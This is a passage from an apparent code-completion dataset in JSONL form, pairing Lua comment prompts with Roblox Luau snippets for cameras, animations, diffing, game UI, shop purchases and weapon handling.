aLength\n\n\t-- Initialize no changes yet in forward or reverse direction:\n\taIndexesF[1] = aStart - 1 -- at open start of interval, outside closed start\n\taIndexesR[1] = aEnd -- at open end of interval\n\n\tif baDeltaLength % 2 == 0 then\n\t\t-- The number of changes in paths is 2 * d if length difference is even.\n\t\t-- ROBLOX deviation: lua treats 0 as a true value\n\t\tlocal dMin = (nChange ~= 0 and nChange or baDeltaLength) / 2\n\t\tlocal dMax = (aLength + bLength) / 2\n\n\t\tfor d = 1, dMax do\n\t\t\tiMaxF = extendPathsF(d, aEnd, bEnd, bF, isCommon, aIndexesF, iMaxF)\n\n\t\t\tif d < dMin then\n\t\t\t\tiMaxR = extendPathsR(d, aStart, bStart, bR, isCommon, aIndexesR, iMaxR)\n\t\t\t\t-- If a reverse path overlaps a forward path in the same diagonal,\n\t\t\t\t-- return a division of the index intervals at the middle change.\n\t\t\telseif\n\t\t\t\textendOverlappablePathsR(\n\t\t\t\t\td,\n\t\t\t\t\taStart,\n\t\t\t\t\taEnd,\n\t\t\t\t\tbStart,\n\t\t\t\t\tbEnd,\n\t\t\t\t\tisCommon,\n\t\t\t\t\taIndexesF,\n\t\t\t\t\tiMaxF,\n\t\t\t\t\taIndexesR,\n\t\t\t\t\tiMaxR,\n\t\t\t\t\tdivision\n\t\t\t\t)\n\t\t\tthen\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\telse\n\t\t-- The number of changes in paths is 2 * d - 1 if length difference is odd.\n\t\tlocal dMin = ((nChange ~= 0 and nChange or baDeltaLength) + 1) / 2\n\t\tlocal dMax = (aLength + bLength + 1) / 2\n\n\t\t-- Unroll first half iteration so loop extends the relevant pairs of paths.\n\t\t-- Because of invariant that intervals have no common items at start or end,\n\t\t-- and limitation not to call divide with empty intervals,\n\t\t-- therefore it cannot be called if a forward path with one change\n\t\t-- would overlap a reverse path with no changes, even if dMin === 1.\n\t\tlocal d = 1\n\t\tiMaxF = extendPathsF(d, aEnd, bEnd, bF, isCommon, aIndexesF, iMaxF)\n\n\t\td = d + 1\n\t\twhile d <= dMax do\n\t\t\tiMaxR = extendPathsR(d - 1, aStart, bStart, bR, isCommon, aIndexesR, iMaxR)\n\n\t\t\tif d < dMin then\n\t\t\t\tiMaxF = extendPathsF(d, aEnd, bEnd, bF, isCommon, aIndexesF, iMaxF)\n\t\t\t\t-- If a forward path overlaps a reverse path in the same diagonal,\n\t\t\t\t-- return a division of the index intervals at the middle change.\n\t\t\telseif\n\t\t\t\textendOverlappablePathsF(\n\t\t\t\t\td,\n\t\t\t\t\taStart,\n\t\t\t\t\taEnd,\n\t\t\t\t\tbStart,\n\t\t\t\t\tbEnd,\n\t\t\t\t\tisCommon,\n\t\t\t\t\taIndexesF,\n\t\t\t\t\tiMaxF,\n\t\t\t\t\taIndexesR,\n\t\t\t\t\tiMaxR,\n\t\t\t\t\tdivision\n\t\t\t\t)\n\t\t\tthen\n\t\t\t\treturn\n\t\t\tend\n\t\t\td = d + 1\n\t\tend\n\tend\n\n\terror(string.format(\"%s: no overlap aStart=%i aEnd=%i bStart=%i bEnd=%i\", pkg, aStart, aEnd, bStart, bEnd))\nend\n"} +{"prompt": "--Object contact", "completion": "\nlocal function TouchPlayer(self, player)\n\t--Perform debounce check\n\tif self.debounce == nil or self.debounce <= 0 then\n\t\t--Check if should interact\n\t\tif player.flag.grounded ~= true and player:BallActive() then\n\t\t\t--Bounce player\n\t\t\tplayer.pos += self.root.Position - player:GetMiddle()\n\t\t\tplayer:ObjectBounce()\n\n\t\t\t--Set debounce\n\t\t\tself.debounce = 6\n\t\t\tself.update = Update\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCamera = {}\nBaseCamera.__index = BaseCamera\n\nfunction BaseCamera.new()\n\tlocal self = setmetatable({}, BaseCamera)\n\n\t-- So that derived classes have access to this\n\tself.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD\n\n\tself.cameraType = nil\n\tself.cameraMovementMode = nil\n\n\tlocal player = Players.LocalPlayer\n\tself.lastCameraTransform = nil\n\tself.rotateInput = ZERO_VECTOR2\n\tself.userPanningCamera = false\n\tself.lastUserPanCamera = tick()\n\n\tself.humanoidRootPart = nil\n\tself.humanoidCache = {}\n\n\t-- Subject and position on last update call\n\tself.lastSubject = nil\n\tself.lastSubjectPosition = Vector3.new(0,5,0)\n\n\t-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera\n\t-- is trying to maintain, not the actual measured value.\n\t-- The default is updated when screen orientation or the min/max distances change,\n\t-- to be sure the default is always in range and appropriate for the orientation.\n\tself.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)\n\tself.currentSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)\n\n\tself.inFirstPerson = false\n\tself.inMouseLockedMode = false\n\tself.portraitMode = false\n\tself.isSmallTouchScreen = false\n\n\t-- Used by modules which want to reset the camera angle on respawn.\n\tself.resetCameraAngle = true\n\n\tself.enabled = false\n\n\t-- Input Event Connections\n\tself.inputBeganConn = nil\n\tself.inputChangedConn = nil\n\tself.inputEndedConn = nil\n\n\tself.startPos = nil\n\tself.lastPos = nil\n\tself.panBeginLook = nil\n\n\tself.panEnabled = true\n\tself.keyPanEnabled = true\n\tself.distanceChangeEnabled = true\n\n\tself.PlayerGui = nil\n\n\tself.cameraChangedConn = nil\n\tself.viewportSizeChangedConn = nil\n\n\tself.boundContextActions = {}\n\n\t-- VR Support\n\tself.shouldUseVRRotation = false\n\tself.VRRotationIntensityAvailable = false\n\tself.lastVRRotationIntensityCheckTime = 0\n\tself.lastVRRotationTime = 0\n\tself.vrRotateKeyCooldown = {}\n\tself.cameraTranslationConstraints = Vector3.new(1, 1, 1)\n\tself.humanoidJumpOrigin = nil\n\tself.trackingHumanoid = nil\n\tself.cameraFrozen = false\n\tself.subjectStateChangedConn = nil\n\n\t-- Gamepad support\n\tself.activeGamepad = nil\n\tself.gamepadPanningCamera = false\n\tself.lastThumbstickRotate = nil\n\tself.numOfSeconds = 0.7\n\tself.currentSpeed = 0\n\tself.maxSpeed = 6\n\tself.vrMaxSpeed = 4\n\tself.lastThumbstickPos = Vector2.new(0,0)\n\tself.ySensitivity = 0.65\n\tself.lastVelocity = nil\n\tself.gamepadConnectedConn = nil\n\tself.gamepadDisconnectedConn = nil\n\tself.currentZoomSpeed = 1.0\n\tself.L3ButtonDown = false\n\tself.dpadLeftDown = false\n\tself.dpadRightDown = false\n\n\t-- Touch input support\n\tself.isDynamicThumbstickEnabled = false\n\tself.fingerTouches = {}\n\tself.dynamicTouchInput = nil\n\tself.numUnsunkTouches = 0\n\tself.inputStartPositions = {}\n\tself.inputStartTimes = {}\n\tself.startingDiff = nil\n\tself.pinchBeginZoom = nil\n\tself.userPanningTheCamera = false\n\tself.touchActivateConn = nil\n\n\t-- Mouse locked formerly known as shift lock mode\n\tself.mouseLockOffset = ZERO_VECTOR3\n\n\t-- [[ NOTICE ]] --\n\t-- Initialization things used to always execute at game load time, but now these camera modules are instantiated\n\t-- when needed, so the code here may run well after the start of the game\n\n\tif player.Character then\n\t\tself:OnCharacterAdded(player.Character)\n\tend\n\n\tplayer.CharacterAdded:Connect(function(char)\n\t\tself:OnCharacterAdded(char)\n\tend)\n\n\tif self.cameraChangedConn then self.cameraChangedConn:Disconnect() end\n\tself.cameraChangedConn = workspace:GetPropertyChangedSignal(\"CurrentCamera\"):Connect(function()\n\t\tself:OnCurrentCameraChanged()\n\tend)\n\tself:OnCurrentCameraChanged()\n\n\tif self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end\n\tself.playerCameraModeChangeConn = player:GetPropertyChangedSignal(\"CameraMode\"):Connect(function()\n\t\tself:OnPlayerCameraPropertyChange()\n\tend)\n\n\tif self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end\n\tself.minDistanceChangeConn = player:GetPropertyChangedSignal(\"CameraMinZoomDistance\"):Connect(function()\n\t\tself:OnPlayerCameraPropertyChange()\n\tend)\n\n\tif self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end\n\tself.maxDistanceChangeConn = player:GetPropertyChangedSignal(\"CameraMaxZoomDistance\"):Connect(function()\n\t\tself:OnPlayerCameraPropertyChange()\n\tend)\n\n\tif self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end\n\tself.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal(\"DevTouchMovementMode\"):Connect(function()\n\t\tself:OnDevTouchMovementModeChanged()\n\tend)\n\tself:OnDevTouchMovementModeChanged() -- Init\n\n\tif self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end\n\tself.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal(\"TouchMovementMode\"):Connect(function()\n\t\tself:OnGameSettingsTouchMovementModeChanged()\n\tend)\n\tself:OnGameSettingsTouchMovementModeChanged() -- Init\n\n\tUserGameSettings:SetCameraYInvertVisible()\n\tUserGameSettings:SetGamepadCameraSensitivityVisible()\n\n\tself.hasGameLoaded = game:IsLoaded()\n\tif not self.hasGameLoaded then\n\t\tself.gameLoadedConn = game.Loaded:Connect(function()\n\t\t\tself.hasGameLoaded = true\n\t\t\tself.gameLoadedConn:Disconnect()\n\t\t\tself.gameLoadedConn = nil\n\t\tend)\n\tend\n\n\tif FFlagUserFixZoomClampingIssues then\n\t\tself:OnPlayerCameraPropertyChange()\n\tend\n\n\treturn self\nend\n\nfunction BaseCamera:GetModuleName()\n\treturn \"BaseCamera\"\nend\n\nfunction BaseCamera:OnCharacterAdded(char)\n\tself.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()\n\tself.humanoidRootPart = nil\n\tif UserInputService.TouchEnabled then\n\t\tself.PlayerGui = Players.LocalPlayer:WaitForChild(\"PlayerGui\")\n\t\tfor _, child in ipairs(char:GetChildren()) do\n\t\t\tif child:IsA(\"Tool\") then\n\t\t\t\tself.isAToolEquipped = true\n\t\t\tend\n\t\tend\n\t\tchar.ChildAdded:Connect(function(child)\n\t\t\tif child:IsA(\"Tool\") then\n\t\t\t\tself.isAToolEquipped = true\n\t\t\tend\n\t\tend)\n\t\tchar.ChildRemoved:Connect(function(child)\n\t\t\tif child:IsA(\"Tool\") then\n\t\t\t\tself.isAToolEquipped = false\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction BaseCamera:GetHumanoidRootPart()\n\tif not self.humanoidRootPart then\n\t\tlocal player = Players.LocalPlayer\n\t\tif player.Character then\n\t\t\tlocal humanoid = player.Character:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tif humanoid then\n\t\t\t\tself.humanoidRootPart = humanoid.RootPart\n\t\t\tend\n\t\tend\n\tend\n\treturn self.humanoidRootPart\nend\n\nfunction BaseCamera:GetBodyPartToFollow(humanoid, isDead)\n\t-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid\n\tif humanoid:GetState() == Enum.HumanoidStateType.Dead then\n\t\tlocal character = humanoid.Parent\n\t\tif character and character:IsA(\"Model\") then\n\t\t\treturn character:FindFirstChild(\"Head\") or humanoid.RootPart\n\t\tend\n\tend\n\n\treturn humanoid.RootPart\nend\n\nfunction BaseCamera:GetSubjectPosition()\n\tlocal result = self.lastSubjectPosition\n\tlocal camera = game.Workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif cameraSubject then\n\t\tif cameraSubject:IsA(\"Humanoid\") then\n\t\t\tlocal humanoid = cameraSubject\n\t\t\tlocal humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead\n\n\t\t\tif VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then\n\t\t\t\tresult = self.lastSubjectPosition\n\t\t\telse\n\t\t\t\tlocal bodyPartToFollow = humanoid.RootPart\n\n\t\t\t\t-- If the humanoid is dead, prefer their head part as a follow target, if it exists\n\t\t\t\tif humanoidIsDead then\n\t\t\t\t\tif humanoid.Parent and humanoid.Parent:IsA(\"Model\") then\n\t\t\t\t\t\tbodyPartToFollow = humanoid.Parent:FindFirstChild(\"Head\") or bodyPartToFollow\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif bodyPartToFollow and bodyPartToFollow:IsA(\"BasePart\") then\n\t\t\t\t\tlocal heightOffset\n\t\t\t\t\tif humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\t\t\t\tif humanoid.AutomaticScalingEnabled then\n\t\t\t\t\t\t\theightOffset = R15_HEAD_OFFSET\n\t\t\t\t\t\t\tif bodyPartToFollow == humanoid.RootPart then\n\t\t\t\t\t\t\t\tlocal rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2)\n\t\t\t\t\t\t\t\theightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\theightOffset = R15_HEAD_OFFSET_NO_SCALING\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\theightOffset = HEAD_OFFSET\n\t\t\t\t\tend\n\n\t\t\t\t\tif humanoidIsDead then\n\t\t\t\t\t\theightOffset = ZERO_VECTOR3\n\t\t\t\t\tend\n\n\t\t\t\t\tresult = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)\n\t\t\t\tend\n\t\t\tend\n\n\t\telseif cameraSubject:IsA(\"VehicleSeat\") then\n\t\t\tlocal offset = SEAT_OFFSET\n\t\t\tif VRService.VREnabled then\n\t\t\t\toffset = VR_SEAT_OFFSET\n\t\t\tend\n\t\t\tresult = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)\n\t\telseif cameraSubject:IsA(\"SkateboardPlatform\") then\n\t\t\tresult = cameraSubject.CFrame.p + SEAT_OFFSET\n\t\telseif cameraSubject:IsA(\"BasePart\") then\n\t\t\tresult = cameraSubject.CFrame.p\n\t\telseif cameraSubject:IsA(\"Model\") then\n\t\t\tif cameraSubject.PrimaryPart then\n\t\t\t\tresult = cameraSubject:GetPrimaryPartCFrame().p\n\t\t\telse\n\t\t\t\tresult = cameraSubject:GetModelCFrame().p\n\t\t\tend\n\t\tend\n\telse\n\t\t-- cameraSubject is nil\n\t\t-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition\n\t\t-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the\n\t\t-- last set valid values for these, as nil values are not handled cases\n\t\treturn\n\tend\n\n\tself.lastSubject = cameraSubject\n\tself.lastSubjectPosition = result\n\n\treturn result\nend\n\nfunction BaseCamera:UpdateDefaultSubjectDistance()\n\tlocal player = Players.LocalPlayer\n\tif self.portraitMode then\n\t\tself.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, PORTRAIT_DEFAULT_DISTANCE)\n\telse\n\t\tself.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)\n\tend\nend\n\nfunction BaseCamera:OnViewportSizeChanged()\n\tlocal camera = game.Workspace.CurrentCamera\n\tlocal size = camera.ViewportSize\n\tself.portraitMode = size.X < size.Y\n\tself.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)\n\n\tself:UpdateDefaultSubjectDistance()\nend\n"} +{"prompt": "--// bolekinds", "completion": "\n\nlocal plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif plr.YouCash.Value >= 4000 and game.ServerStorage.ServerData.CatMaid2.Value == false then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\t\tplr.YouCash.Value -= 4000\n\t\tgame.ServerStorage.ServerData.CatMaid2.Value = true\n\tend\nend)\n"} +{"prompt": "-- ENTITIES", "completion": "\n\nif AmbushSoundsEnabled == false then\n\tscript.Parent.Entities.Ambush:Destroy()\nend\nif EyesSoundsEnabled == false then\n\tscript.Parent.Entities.Eyes:Destroy()\nend\nif FigureSoundsEnabled == false then\n\tscript.Parent.Entities.Figure:Destroy()\nend\nif GlitchSoundsEnabled == false then\n\tscript.Parent.Entities.Glitch:Destroy()\nend\nif HaltSoundsEnabled == false then\n\tscript.Parent.Entities.Halt:Destroy()\nend\nif HideSoundsEnabled == false then\n\tscript.Parent.Entities.Hide:Destroy()\nend\nif RushSoundsEnabled == false then\n\tscript.Parent.Entities.Rush:Destroy()\nend\nif SeekSoundsEnabled == false then\n\tscript.Parent.Entities.Seek:Destroy()\nend\nif TimothySoundsEnabled == false then\n\tscript.Parent.Entities.Timothy:Destroy()\nend\n\nif JackSoundsEnabled == false then\n\tscript.Parent.Entities.Jack:Destroy()\nend\n"} +{"prompt": "--!strict", "completion": "\nreturn function(s: string, startIndex: number, numberOfCharacters: number?): string\n\tif numberOfCharacters and numberOfCharacters <= 0 then\n\t\treturn \"\"\n\tend\n\treturn string.sub(s, startIndex, numberOfCharacters and startIndex + numberOfCharacters - 1 or nil)\nend\n"} +{"prompt": "---------------\n--// Variables\n---------------", "completion": "\nlocal sellMode = false\nlocal button = script.Parent.Parent\nlocal Part\n"} +{"prompt": "-- References to reduce indexing time", "completion": "\nlocal GetConnectedParts = Instance.new('Part').GetConnectedParts;\nlocal GetChildren = script.GetChildren;\n\nfunction GetPartJoints(Part, Whitelist)\n\t-- Returns any manual joints involving `Part`\n\n\tlocal Joints = {};\n\n\t-- Get joints stored inside `Part`\n\tfor Joint, JointParent in pairs(SearchJoints(Part, Part, Whitelist)) do\n\t\tJoints[Joint] = JointParent;\n\tend;\n\n\t-- Get joints stored inside connected parts\n\tfor _, ConnectedPart in pairs(GetConnectedParts(Part)) do\n\t\tfor Joint, JointParent in pairs(SearchJoints(ConnectedPart, Part, Whitelist)) do\n\t\t\tJoints[Joint] = JointParent;\n\t\tend;\n\tend;\n\n\t-- Return all found joints\n\treturn Joints;\n\nend;\n"} +{"prompt": "--DO NOT CHANGE", "completion": "\ngame.Players.PlayerAdded:connect(function(p)\n\twait(TimeNo)\n\tb = game:GetService(\"BadgeService\")\n\tb:AwardBadge(p.userId,BadgeID)\nend)\n"} +{"prompt": "--As for the stickiness of the piston, the script keeps track of bricks that\n--are touching the head, and while retracting will set the velocity of\n--stuck bricks to that of the head, to make them move with the head.", "completion": "\n"} +{"prompt": "-- InstanceSubset object behaves like an Instance when serialized by pretty-format", "completion": "\nlocal InstanceSubset = {}\nInstanceSubset.__index = InstanceSubset\nfunction InstanceSubset.new(className, subset)\n\ttable.sort(subset)\n\tlocal self = {\n\t\tClassName = className,\n\t\tsubset = subset,\n\t}\n\n\tsetmetatable(self, InstanceSubset)\n\treturn self\nend\n"} +{"prompt": "--// Gun Parts", "completion": "\n\nlocal SFn\n\nlocal ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil\nlocal RAD, SIN, COS, TAN = math.rad, math.sin, math.cos, math.tan\nlocal VEC2, V3 = Vector2.new, Vector3.new\nlocal CF, CFANG = CFrame.new, CFrame.Angles\nlocal INSERT = table.insert\n\n\nlocal Walking = false\n\nlocal instance = Instance.new\nlocal CFn = CFrame.new\nlocal CFa = CFrame.Angles\nlocal asin = math.asin\nlocal abs = math.abs\nlocal min = math.min\nlocal max = math.max\nlocal random = math.random\n\nlocal OldTick = tick()\nlocal t = 0\nlocal Reconum = SpringMod.new(V3())\nlocal sway = SpringMod.new(V3())\nlocal Walk = SpringMod.new(V3())\nlocal WalkRate = 1\nlocal speed = 10\nlocal damper = 1\n\n\nWalk.s = speed\nWalk.d = damper\nReconum.s = speed\nReconum.d = 0.15\nsway.s = speed\nsway.d = damper\nlocal WVal = 0.25\nlocal Waval = CFn()\nlocal TS = game:GetService('TweenService')\nlocal RS = game:GetService(\"RunService\")\n"} +{"prompt": "--//Check if they have a blacklisted tool when on QDF/Raider teams", "completion": "\nlocal toolRemove = function(Player)\n\tfor Index, Element in pairs(BList) do\n\t\tif Player.Backpack:FindFirstChild(Element.Name) then\n\t\t\tElement:Destroy()\n\t\telseif Player:WaitForChild(\"Character\"):FindFirstChild(Element.Name) then\n\t\t\tElement:Destroy()\n\t\tend\n\tend\nend\n"} +{"prompt": "--\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\t\t \n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\t\t\t\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\tend\n\nend\n"} +{"prompt": "-- Events", "completion": "\nlocal WarningEvent = ReplicatedStorage.Events.WarningEvent\n"} +{"prompt": "-- Offsets for the volume visibility test", "completion": "\nlocal SCAN_SAMPLE_OFFSETS = {\n\tVector2.new( 0.4, 0.0),\n\tVector2.new(-0.4, 0.0),\n\tVector2.new( 0.0,-0.4),\n\tVector2.new( 0.0, 0.4),\n\tVector2.new( 0.0, 0.2),\n}\n"} +{"prompt": "--// Touch Connections", "completion": "\nL_3_:WaitForChild('Humanoid').Touched:connect(function(L_305_arg1)\n\tlocal L_306_, L_307_ = SearchResupply(L_305_arg1)\n\tif L_306_ and L_17_ then\n\t\tL_17_ = false\n\t\tL_100_ = L_24_.Ammo\n\t\tL_101_ = L_24_.StoredAmmo * L_24_.MagCount\n\t\tL_102_ = L_24_.ExplosiveAmmo\n\t\tif L_55_:FindFirstChild('Resupply') then\n\t\t\tL_55_.Resupply:Play()\n\t\tend\n\t\twait(15)\n\t\tL_17_ = true\n\tend;\nend)\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then"} +{"prompt": "-- ROBLOX deviation: skipping path\n-- local path = require(\"path\")", "completion": "\nlocal scan = require(CurrentModule.scan)\nlocal parse = require(CurrentModule.parse)\nlocal utils = require(CurrentModule.utils)\nlocal constants = require(CurrentModule.constants)\nlocal function isObject(val)\n\treturn typeof(val) == \"table\" and not Array.isArray(val)\nend\n"} +{"prompt": "-- fun\u00e7\u00e3o para adicionar v\u00edrgulas a um n\u00famero", "completion": "\nlocal function commaSeparateNumber(amount)\n\tlocal formatted = amount\n\twhile true do \n\t\tformatted, k = string.gsub(formatted, \"^(-?%d+)(%d%d%d)\", '%1,%2')\n\t\tif k == 0 then\n\t\t\tbreak\n\t\tend\n\tend\n\treturn formatted\nend\n"} +{"prompt": "--Button interface", "completion": "\nfunction touch_button:Enable(id)\n\tif id ~= nil then\n\t\tif not self.enabled then\n\t\t\tself.button.ImageTransparency = 0\n\t\t\tself.button.Active = true\n\t\t\tself.enabled = true\n\t\tend\n\t\tif self.button.Image ~= id then\n\t\t\tself.button.Image = id\n\t\tend\n\telseif self.enabled then\n\t\tself.button.ImageTransparency = 1\n\t\tself.enabled = false\n\tend\nend\n\nreturn touch_button\n"} +{"prompt": "--Load the Nexus VR Character Model module.", "completion": "\nlocal NexusVRCharacterModelModule\nlocal MainModule = script:FindFirstChild(\"MainModule\")\nif MainModule then\n NexusVRCharacterModelModule = require(MainModule)\nelse\n\tNexusVRCharacterModelModule = require(10728814921)\nend\n"} +{"prompt": "-- Start update loop", "completion": "\n\nwhile true do\n\tIndicator:updateAll()\n\trs.RenderStepped:wait()\nend\n"} +{"prompt": "---------------------------------------------------------", "completion": "\nMainFrame.TControlsButton.MouseButton1Click:Connect(function()\n\tif ConVisible == false then\n\t\tConVisible = true\n\t\tGUI.Controls.Visible = true\n\telseif ConVisible == true then\n\t\tConVisible = false\n\t\tGUI.Controls.Visible = false\n\tend\nend)"} +{"prompt": "--////////////////////////////// Methods\n--//////////////////////////////////////", "completion": "\nlocal methods = {}\nmethods.__index = methods\n\nfunction methods:CreateGuiObjects(targetParent)\n\tself.ChatBarParentFrame = targetParent\n\n\tlocal backgroundImagePixelOffset = 7\n\tlocal textBoxPixelOffset = 5\n\n\tlocal BaseFrame = Instance.new(\"Frame\")\n\tBaseFrame.Selectable = false\n\tBaseFrame.Size = UDim2.new(1, 0, 1, 0)\n\tBaseFrame.BackgroundTransparency = 0.6\n\tBaseFrame.BorderSizePixel = 0\n\tBaseFrame.BackgroundColor3 = ChatSettings.ChatBarBackGroundColor\n\tBaseFrame.Parent = targetParent\n\n\tlocal BoxFrame = Instance.new(\"Frame\")\n\tBoxFrame.Selectable = false\n\tBoxFrame.Name = \"BoxFrame\"\n\tBoxFrame.BackgroundTransparency = 0.6\n\tBoxFrame.BorderSizePixel = 0\n\tBoxFrame.BackgroundColor3 = ChatSettings.ChatBarBoxColor\n\tBoxFrame.Size = UDim2.new(1, -backgroundImagePixelOffset * 2, 1, -backgroundImagePixelOffset * 2)\n\tBoxFrame.Position = UDim2.new(0, backgroundImagePixelOffset, 0, backgroundImagePixelOffset)\n\tBoxFrame.Parent = BaseFrame\n\n\tlocal TextBoxHolderFrame = Instance.new(\"Frame\")\n\tTextBoxHolderFrame.BackgroundTransparency = 1\n\tTextBoxHolderFrame.Size = UDim2.new(1, -textBoxPixelOffset * 2, 1, -textBoxPixelOffset * 2)\n\tTextBoxHolderFrame.Position = UDim2.new(0, textBoxPixelOffset, 0, textBoxPixelOffset)\n\tTextBoxHolderFrame.Parent = BoxFrame\n\n\tlocal TextBox = Instance.new(\"TextBox\")\n\tTextBox.Selectable = ChatSettings.GamepadNavigationEnabled\n\tTextBox.Name = \"ChatBar\"\n\tTextBox.BackgroundTransparency = 1\n\tTextBox.Size = UDim2.new(1, 0, 1, 0)\n\tTextBox.Position = UDim2.new(0, 0, 0, 0)\n\tTextBox.TextSize = ChatSettings.ChatBarTextSize\n\tTextBox.Font = ChatSettings.ChatBarFont\n\tTextBox.TextColor3 = ChatSettings.ChatBarTextColor\n\tTextBox.TextTransparency = 0.4\n\tTextBox.TextStrokeTransparency = 1\n\tTextBox.ClearTextOnFocus = false\n\tTextBox.TextXAlignment = Enum.TextXAlignment.Left\n\tTextBox.TextYAlignment = Enum.TextYAlignment.Top\n\tTextBox.TextWrapped = true\n\tTextBox.Text = \"\"\n\tTextBox.Parent = TextBoxHolderFrame\n\n\tlocal MessageModeTextButton = Instance.new(\"TextButton\")\n\tMessageModeTextButton.Name = \"MessageMode\"\n\tMessageModeTextButton.BackgroundTransparency = 1\n\tMessageModeTextButton.Position = UDim2.new(0, 0, 0, 0)\n\tMessageModeTextButton.TextSize = ChatSettings.ChatBarTextSize\n\tMessageModeTextButton.Font = ChatSettings.ChatBarFont\n\tMessageModeTextButton.TextXAlignment = Enum.TextXAlignment.Left\n\tMessageModeTextButton.TextWrapped = true\n\tMessageModeTextButton.Text = \"\"\n\tMessageModeTextButton.Size = UDim2.new(0, 0, 0, 0)\n\tMessageModeTextButton.TextYAlignment = Enum.TextYAlignment.Center\n\tMessageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()\n\tMessageModeTextButton.Visible = true\n\tMessageModeTextButton.Parent = TextBoxHolderFrame\n\n\tlocal TextLabel = Instance.new(\"TextLabel\")\n\tTextLabel.Selectable = false\n\tTextLabel.TextWrapped = true\n\tTextLabel.BackgroundTransparency = 1\n\tTextLabel.Size = TextBox.Size\n\tTextLabel.Position = 